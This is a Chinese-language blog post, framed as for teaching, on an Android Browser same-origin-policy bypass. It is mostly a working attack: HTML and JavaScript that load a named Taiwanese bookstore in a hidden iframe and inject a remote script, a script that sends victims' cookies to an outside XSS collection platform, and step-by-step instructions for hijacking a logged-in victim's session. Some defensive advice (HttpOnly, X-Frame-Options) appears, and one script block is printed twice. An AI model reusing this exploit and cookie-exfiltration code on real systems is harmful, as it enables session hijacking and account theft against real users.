摘要:Android Browser Same Origin Policy Vulnerability 漏洞利用實戰與防禦說明
【本篇僅供教學用途】
近期Android Browser爆出一個安全漏洞，該漏洞能繞過Same Origin Policy的安全機制（什麼是Same Origin Policy可以自行Google）
雖說是Android Browser的漏洞，不過CM Browser等一些Android瀏覽器也用同樣的核心，因此同樣有這個漏洞
這篇主要就是介紹如何透過這個漏洞模擬實作XSS攻擊，不過僅供教學用途，請勿對親友實作...
目前實際測試的結果是：Android 4.4版以下的Browser都會存在安全問題（除了三星的裝置之外，等等會說明）
這裡就以漏洞一來實作，問題來了，我又不知道什麼是Same Origin Policy？也沒有時間去學。我看上面的那些連結的POC都是只說明「怎樣偷取HTML網頁」，這好像也沒什麼？我根本就完全看不出來這漏洞的影響性是什麼？
對於廠商來說，可能會覺得又要加班做沒有實質意義的資安防護？乾脆不要做？反正那是Android的漏洞啦，跟我沒關係！
因此，這篇會以駭客的觀點思考，完整的說明該漏洞可怎樣利用，也直接說明了沒有做基本安全防護是怎樣的結果
不過在此之前您必須有XSS與HTTP Protocol的基本觀念
這個漏洞發生的主要原因是：
--------------------------------------------------------------------------------------
<iframe name="test" src="http://www.rhainfosec.com"></iframe><input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >
在「javascript:alert(...」前面只要多加了一個「\u0000」就可以繞過Same Origin Policy的安全檢查
--------------------------------------------------------------------------------------
所以要怎麼攻擊呢？先來說防禦措施：
- 啟用HttpOnly
-
- 啟用後Cookies就不能直接由Javascript取得到，降低了XSS被攻擊的機會
- 請參考：http://blog.miniasp.com/post/2009/11/26/Using-HttpOnly-flag-to-avoid-XSS-attack.aspx
- 等下介紹的EditThisCookie Chrome外掛可以幫助檢查特定網站是否有啟用
- 啟用X-Frame-Options
-
- 啟用後可限制允許使用iframe的來源或全面禁止
- 請參考：https://www.google.com.tw/?#q=X-Frame-Options
給使用者的建議：
- 勿點擊來路不明的連結
- 升級裝置的系統至Android 4.4
- 避免使用「永久登入」選項
- 更換使用較安全的Android Chrome
目前舉凡大型網站如Facebook, Twitter, Google等都有針對HttpOnly和X-Frame-Options做安全設置，因此無法這麼容易的攻擊
找了一下台灣的網站，發現「博客來」好像沒有針對這兩個設定去設置，雖說這是Android的安全問題，不是博客來的問題，不過如果廠商可以避免XSS攻擊就應盡量去避免的
攻擊測試的情境是：「讓被害者先正常登入至博客來網站，之後只要傳送給被害者帶有惡意script的link，被害者用有漏洞的Android Browser開啟網頁後就被盜帳號了」
前置準備作業：
- 一個網站伺服器，放實作漏洞的HTML程式碼
- 一個XSS的管理平台：這裡以「Lenny XSS Platform，網址：http://lennyxss.sinaapp.com」為例，基本上它只是幫忙接收HTTP GET的結果然後儲存而已
- Android 4.3 Emulator模擬被駭者（Android 4.4版已修復這個漏洞）
- 安裝Chrome瀏覽器
- 安裝Chrome Extension - EditThisCookie(https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg)：這是可以用來修改Cookies的外掛，也可以查看Cookies詳細的設定、Expiration、HttpOnly等
首先駭客先架設Server端網站，同個目錄下這包含了以下2個網頁和1個js檔：
------------------------------------------------------------------------------------------
[test.htm - 用來測試是否有安全漏洞，如果點下去有跑出Cookies就是有Android Browser漏洞存在]
<iframe name="test" src="http://m.books.com.tw" width="100%" height="500"></iframe>
<br />
<input type=button value="test" onclick="window.open('\u0000javascript:alert(document.cookie)','test')" >
<br />
<input type=button value="test" onclick="window.open('\u0000javascript:alert(document.cookie)','test')" >
------------------------------------------------------------------------------------------
[hack.htm - 這是真實測試的頁面，test.jpg可自行修改為自己喜歡的圖。當載入這個網頁後包含session id的cookies會自動上傳到遠端網站]
<html>
<iframe name="test" id="test" src="http://m.books.com.tw/" width="0" height="0"></iframe>
<iframe name="test" id="test" src="http://m.books.com.tw/" width="0" height="0"></iframe>
<script>
var try_times = 0;
function exploit() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://[your_domain]/test.js></scr"+"ipt>";','test');
}
document.getElementById("test").onload = function() {
if (try_times < 1) {
exploit();
}
try_times++;
};
</script>
<body>
<img src="test.jpg" />
</body>
</html>
var try_times = 0;
function exploit() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://[your_domain]/test.js></scr"+"ipt>";','test');
}
document.getElementById("test").onload = function() {
if (try_times < 1) {
exploit();
}
try_times++;
};
</script>
<body>
<img src="test.jpg" />
</body>
</html>
------------------------------------------------------------------------------------------
[test.js - 用這個js檔案來將cookies傳送到遠端的伺服器，這裡以http://lennyxss.sinaapp.com網站提供的XSS管理平台為範例]
location.href='http://lennyxss.sinaapp.com/index.php?do=api&id=[Your ID]&cookie='+encodeURIComponent(document.cookie);
------------------------------------------------------------------------------------------
以上三個檔案我改寫了原本的POC，讓之能傳送Cookies到駭客的Server端，來模擬XSS攻擊
這個修改後的POC原理是：將hack.htm的網址傳送給被駭者，hack.htm會開一個長寬都為0的iframe在背景自動載入至m.books.com.tw，當被駭者手機的Android瀏覽器載入完成後，會將帶有Session ID的Cookies上傳至伺服器（當然前提是要先登入目標網站的會員），當駭客偷取到Cookies時即可將Cookies替換為被駭者的Cookies，進而盜取帳號
所以很明顯的，如果特定網站的X-Frame-Options設為DENY，當瀏覽器透過iframe載入特定網站時就會被擋掉，進而能降低攻擊的機會
另外額外介紹一下Lenny XSS Platform，網址：http://lennyxss.sinaapp.com
看網域就可知道這是一個中國人做的免費XSS管理平台，當然您也可以自己建立管理平台，不過這只是測試所以就用現成的管理平台，基本上它只是幫忙接收HTTP GET的結果然後儲存而已
伺服器架設好了也設定好XSS管理平台後，就開始實戰測試了，這邊以模擬器來示範「被駭者」，以PC端Chrome瀏覽器來示範「攻擊者」
第一步：請對方（Android 4.3模擬器）用有漏洞的Android Browser登入至該網站
第二步：登入會員
第三步：確定已經登入了
第四步：放一本書進入購物車
第五步：進入test.htm網頁確認 1.iframe有成功載入網頁 2.按下Test按鈕後有出現Cookies 3.iframe和分頁的Cookies是共享的（如果一進入後就是在登入狀態的話就是共享的）
第六步：沒問題後就丟hack.htm的網址給被駭者，讓被駭者用有漏洞的Android Browser開啟吧！被駭者開啟後就會上傳Cookies到Server啦！這時候去lennyxss拿Cookies資料
第七步：攻擊者開啟PC上的Chrome瀏覽器可看到目前在未登入的狀態
第八步：用EditThisCookie將PHPSESSID、bid、cid、pd、cookie_cat、m_item_history等都改為自己偷到的內容吧！
第九步：修改完Refresh瀏覽器就可以看到已經擁有被駭者的權限了喔，之前被駭者選的同本書對吧！
以上，若是Android Browser沒有這個漏洞這樣攻擊就不會成功
另外實際測試，三星的裝置比較特別，雖然說在我的三星平板上目前這個漏洞還沒補，但他的客製化Browser會讓每個iframe在自己的Sandbox下，因此Cookies不會與原本的分頁共存，安全風險較小
如同食安問題被爆發出時再去追究責任就已經太慢了，所以「博客來」和「Mobile01」趕快啟用「HttpOnly」和「X-Frame-Options」的最基本的安全防護措施吧！